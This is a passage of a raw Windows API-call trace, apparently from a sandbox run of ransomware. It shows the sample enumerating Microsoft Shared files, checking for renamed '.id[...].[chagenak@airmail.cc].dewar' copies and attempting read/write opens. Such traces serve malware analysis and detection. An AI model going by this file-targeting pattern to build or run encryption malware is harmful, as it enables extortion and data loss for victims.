dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.024] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6381) returned 1 [0239.024] CloseHandle (hObject=0x200) returned 1 [0239.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0239.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0239.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.029] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=232) returned 1 [0239.029] CloseHandle (hObject=0x200) returned 1 [0239.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0239.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0239.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.030] SetEvent (hEvent=0x118) returned 1 [0239.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.034] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5115) returned 1 [0239.034] CloseHandle (hObject=0x200) returned 1 [0239.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0239.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0239.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.035] SetEvent (hEvent=0x118) returned 1 [0239.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.036] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3981) returned 1 [0239.036] CloseHandle (hObject=0x200) returned 1 [0239.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0239.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0239.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.037] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5115) returned 1 [0239.038] CloseHandle (hObject=0x200) returned 1 [0239.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0239.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0239.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.042] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=14049) returned 1 [0239.042] CloseHandle (hObject=0x200) returned 1 [0239.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0239.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0239.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.043] SetEvent (hEvent=0x118) returned 1 [0239.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.393] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=233) returned 1 [0239.393] CloseHandle (hObject=0x1e0) returned 1 [0239.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0239.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0239.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.394] SetEvent (hEvent=0x118) returned 1 [0239.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.395] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=15063) returned 1 [0239.395] CloseHandle (hObject=0x1e0) returned 1 [0239.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0239.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0239.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.397] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=146808) returned 1 [0239.397] CloseHandle (hObject=0x1e0) returned 1 [0239.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 0x20 [0239.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 0x20 [0239.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.399] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=36712) returned 1 [0239.399] CloseHandle (hObject=0x1e0) returned 1 [0239.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0239.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0239.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.405] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=57248) returned 1 [0239.406] CloseHandle (hObject=0x1e0) returned 1 [0239.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0239.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0239.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.407] SetEvent (hEvent=0x118) returned 1 [0239.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.408] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=196976) returned 1 [0239.408] CloseHandle (hObject=0x1e0) returned 1 [0239.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0239.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0239.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.410] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=289648) returned 1 [0239.410] CloseHandle (hObject=0x1e0) returned 1 [0239.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 0x20 [0239.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 0x20 [0239.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.424] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=58766) returned 1 [0239.424] CloseHandle (hObject=0x1e0) returned 1 [0239.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0239.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0239.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.425] SetEvent (hEvent=0x118) returned 1 [0239.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.426] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=555) returned 1 [0239.426] CloseHandle (hObject=0x1e0) returned 1 [0239.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0239.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0239.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.433] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1569) returned 1 [0239.433] CloseHandle (hObject=0x1e0) returned 1 [0239.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0239.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0239.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 